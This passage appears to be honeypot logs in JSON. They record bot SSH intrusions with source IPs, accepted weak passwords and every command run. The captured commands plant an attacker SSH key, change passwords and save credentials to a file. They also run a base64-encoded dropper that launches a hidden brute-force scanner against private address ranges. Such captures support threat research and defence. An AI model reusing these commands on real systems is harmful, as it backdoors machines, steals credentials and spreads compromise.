-m"},{"seq":18,"at":"2026-08-21T22:14:53.429800+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-21T22:14:54.073733+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-21T22:14:54.074480+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-21T22:14:54.715269+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-21T22:14:54.716185+00:00","kind":"output","latency_ms":null,"data":"top - 22:14:54 up 1 day, 19:05, 0 user, load average: 0.03, 0.03, 0.03\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-21T22:14:55.356763+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-21T22:14:55.357405+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-21T22:14:56.002334+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-21T22:14:56.002821+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-21T22:14:56.642891+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-21T22:14:56.643476+00:00","kind":"output","latency_ms":null,"data":"kk"},{"seq":29,"at":"2026-08-21T22:14:57.286051+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-21T22:14:58.530571+00:00","kind":"output","latency_ms":1243,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-21T22:14:59.172182+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-21T22:14:59.731266+00:00","kind":"output","latency_ms":559,"data":"24G"},{"seq":33,"at":"2026-08-21T22:15:00.372009+00:00","kind":"input","latency_ms":null,"data":"echo \"kk kk\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-21T22:15:01.015346+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-21T22:15:01.591377+00:00","kind":"output","latency_ms":577,"data":""},{"seq":36,"at":"2026-08-21T22:15:03.296750+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-21T22:15:03.991082+00:00","kind":"output","latency_ms":691,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-21T22:15:04.632919+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-21T22:15:05.379059+00:00","kind":"output","latency_ms":747,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-21T22:15:06.020605+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-21T22:15:06.661488+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-21T22:15:07.331788+00:00","kind":"output","latency_ms":670,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-21T22:15:07.976907+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-21T22:15:08.656389+00:00","kind":"output","latency_ms":680,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-21T22:15:09.298705+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-21T22:15:09.982225+00:00","kind":"output","latency_ms":684,"data":""},{"seq":47,"at":"2026-08-21T22:15:18.049138+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-21T22:15:18.050117+00:00","kind":"output","latency_ms":null,"data":"kk"}],"credentials":[{"username":"kk","password":"kk","method":"password","accepted":true,"tier":"other"}]} {"id":"0cc7a6c5-0cf1-43ec-a02d-3ea68596a8f3","name":"austere-regal-opossum","protocol":"ssh","channel_kind":"exec","src_ip":"202.152.148.27","src_port":51410,"username":"vadim","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":750,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-21T22:13:33.104155+00:00","ended_at":"2026-08-21T22:13:33.323354+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3492,"events":[{"seq":1,"at":"2026-08-21T22:12:50.488339+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-21T22:12:51.228594+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-21T22:12:57.629698+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-21T22:12:57.630316+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-21T22:12:58.383146+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345678\\nBiCj8zDa8vda\\nBiCj8zDa8vda\"|passwd|bash"},{"seq":6,"at":"2026-08-21T22:12:59.145043+00:00","kind":"input","latency_ms":null,"data":"echo \"12345678\\nBiCj8zDa8vda\\nBiCj8zDa8vda\\n\"|passwd"},{"seq":7,"at":"2026-08-21T22:12:59.894545+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-21T22:12:59.895203+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-21T22:13:00.645510+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-21T22:13:01.469842+00:00","kind":"output","latency_ms":823,"data":"15888 5124 8271 62 2420 0"},{"seq":11,"at":"2026-08-21T22:13:02.220931+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-21T22:13:03.180600+00:00","kind":"output","latency_ms":958,"data":"-rwxr-xr-x 1 root root 151K Jan 8 12:34 /usr/bin/ls"},{"seq":13,"at":"2026-08-21T22:13:03.933509+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-21T22:13:03.934062+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-21T22:13:04.681713+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-21T22:13:04.682199+00:00","kind":"output","latency_ms":null,"data":" 22:13:04 up 1 day, 19:03, 0 user, load average: 0.06, 0.06, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-21T22:13:05.431406+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-21T22:13:05.434260+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-21T22:13:06.186491+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-21T22:13:06.187093+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-21T22:13:06.941240+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-21T22:13:06.941608+00:00","kind":"output","latency_ms":null,"data":"top - 22:13:06 up 1 day, 19:03, 0 user, load average: 0.06, 0.06, 0.07\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-21T22:13:07.692247+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-21T22:13:07.693008+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-21T22:13:08.442182+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-21T22:13:08.443314+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-21T22:13:09.191836+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-21T22:13:09.192428+00:00","kind":"output","latency_ms":null,"data":"vadim"},{"seq":29,"at":"2026-08-21T22:13:09.942567+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-21T22:13:10.752699+00:00","kind":"output","latency_ms":810,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":31,"at":"2026-08-21T22:13:11.502298+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-21T22:13:12.137019+00:00","kind":"output","latency_ms":633,"data":"24G"},{"seq":33,"at":"2026-08-21T22:13:14.559923+00:00","kind":"input","latency_ms":null,"data":"echo \"vadim 12345678\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-21T22:13:15.309314+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-21T22:13:15.977835+00:00","kind":"output","latency_ms":658,"data":""},{"seq":36,"at":"2026-08-21T22:13:17.999262+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-21T22:13:18.602803+00:00","kind":"output","latency_ms":602,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-21T22:13:19.351884+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-21T22:13:19.921714+00:00","kind":"output","latency_ms":568,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-21T22:13:20.672271+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-21T22:13:21.422867+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-21T22:13:22.097714+00:00","kind":"output","latency_ms":671,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-21T22:13:22.848181+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-21T22:13:23.475842+00:00","kind":"output","latency_ms":626,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-21T22:13:24.225551+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-21T22:13:25.022363+00:00","kind":"output","latency_ms":795,"data":""},{"seq":47,"at":"2026-08-21T22:13:33.106153+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-21T22:13:33.110732+00:00","kind":"output","latency_ms":null,"data":"vadim"}],"credentials":[{"username":"vadim","password":"12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"cc026bcb-8f37-418f-a853-ad13d79e6f45","name":"slender-northern-dolphin","protocol":"ssh","channel_kind":"exec","src_ip":"157.230.18.133","src_port":57384,"username":"ftpuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":306,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-21T18:12:23.831896+00:00","ended_at":"2026-08-21T18:12:23.919344+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3758,"events":[{"seq":1,"at":"2026-08-21T18:11:55.907820+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-21T18:11:56.210957+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-21T18:11:59.758290+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-21T18:11:59.758988+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-21T18:12:00.070159+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234qwer\\nVYUxmrSiMNqp\\nVYUxmrSiMNqp\"|passwd|bash"},{"seq":6,"at":"2026-08-21T18:12:00.376815+00:00","kind":"input","latency_ms":null,"data":"echo \"1234qwer\\nVYUxmrSiMNqp\\nVYUxmrSiMNqp\\n\"|passwd"},{"seq":7,"at":"2026-08-21T18:12:00.682821+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-21T18:12:00.683615+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-21T18:12:00.991619+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-21T18:12:01.912019+00:00","kind":"output","latency_ms":919,"data":"15888 14321 1567 0 0 0"},{"seq":11,"at":"2026-08-21T18:12:02.218621+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-21T18:12:03.079149+00:00","kind":"output","latency_ms":860,"data":"-rwxr-xr-x 1 root root 151K Jan 23 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-21T18:12:03.387090+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-21T18:12:03.387681+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-21T18:12:03.693549+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-21T18:12:03.694343+00:00","kind":"output","latency_ms":null,"data":" 18:12:03 up 1 day, 15:02, 0 user, load average: 0.3, 0.32, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-21T18:12:04.000369+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-21T18:12:04.001213+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-21T18:12:04.309344+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-21T18:12:04.310165+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-21T18:12:04.615222+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-21T18:12:04.616011+00:00","kind":"output","latency_ms":null,"data":"top - 18:12:04 up 1 day, 15:02, 0 user, load average: 0.3, 0.32, 0.19\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-21T18:12:04.922399+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-21T18:12:04.923091+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-21T18:12:05.230490+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-21T18:12:05.231087+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-21T18:12:05.556371+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-21T18:12:05.557524+00:00","kind":"output","latency_ms":null,"data":"ftpuser"},{"seq":29,"at":"2026-08-21T18:12:05.863249+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-21T18:12:07.055126+00:00","kind":"output","latency_ms":1190,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-21T18:12:07.361145+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-21T18:12:08.596495+00:00","kind":"output","latency_ms":1235,"data":"24G"},{"seq":33,"at":"2026-08-21T18:12:09.650669+00:00","kind":"input","latency_ms":null,"data":"echo \"ftpuser 1234qwer\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-21T18:12:09.954746+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-21T18:12:10.560393+00:00","kind":"output","latency_ms":604,"data":""},{"seq":36,"at":"2026-08-21T18:12:11.007724+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-21T18:12:11.897536+00:00","kind":"output","latency_ms":887,"data":"Session terminated, killing shell... ...killed."},{"seq":38,"at":"2026-08-21T18:12:12.202578+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-21T18:12:13.075520+00:00","kind":"output","latency_ms":872,"data":"ftpuser 1234qwer"},{"seq":40,"at":"2026-08-21T18:12:13.382626+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-21T18:12:13.690132+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-21T18:12:14.343939+00:00","kind":"output","latency_ms":655,"data":"1"},{"seq":43,"at":"2026-08-21T18:12:14.648143+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-21T18:12:15.291508+00:00","kind":"output","latency_ms":642,"data":"1"},{"seq":45,"at":"2026-08-21T18:12:15.598477+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-21T18:12:23.834054+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-21T18:12:23.834682+00:00","kind":"output","latency_ms":null,"data":"ftpuser"}],"credentials":[{"username":"ftpuser","password":"1234qwer","method":"password","accepted":true,"tier":"other"}]} {"id":"085553b7-74c2-4a2d-9c6e-99eaa2ee2e06","name":"clever-wistful-condor","protocol":"ssh","channel_kind":"exec","src_ip":"143.202.162.212","src_port":35234,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":271,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-21T17:00:24.227469+00:00","ended_at":"2026-08-21T17:00:24.302398+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3554,"events":[{"seq":1,"at":"2026-08-21T16:59:57.112793+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-21T16:59:57.382592+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-21T17:00:01.917570+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-21T17:00:01.918028+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-21T17:00:02.189247+00:00","kind":"input","latency_ms":null,"data":"echo \"root:pXANzkJhY6pO\"|chpasswd|bash"},{"seq":6,"at":"2026-08-21T17:00:02.460227+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 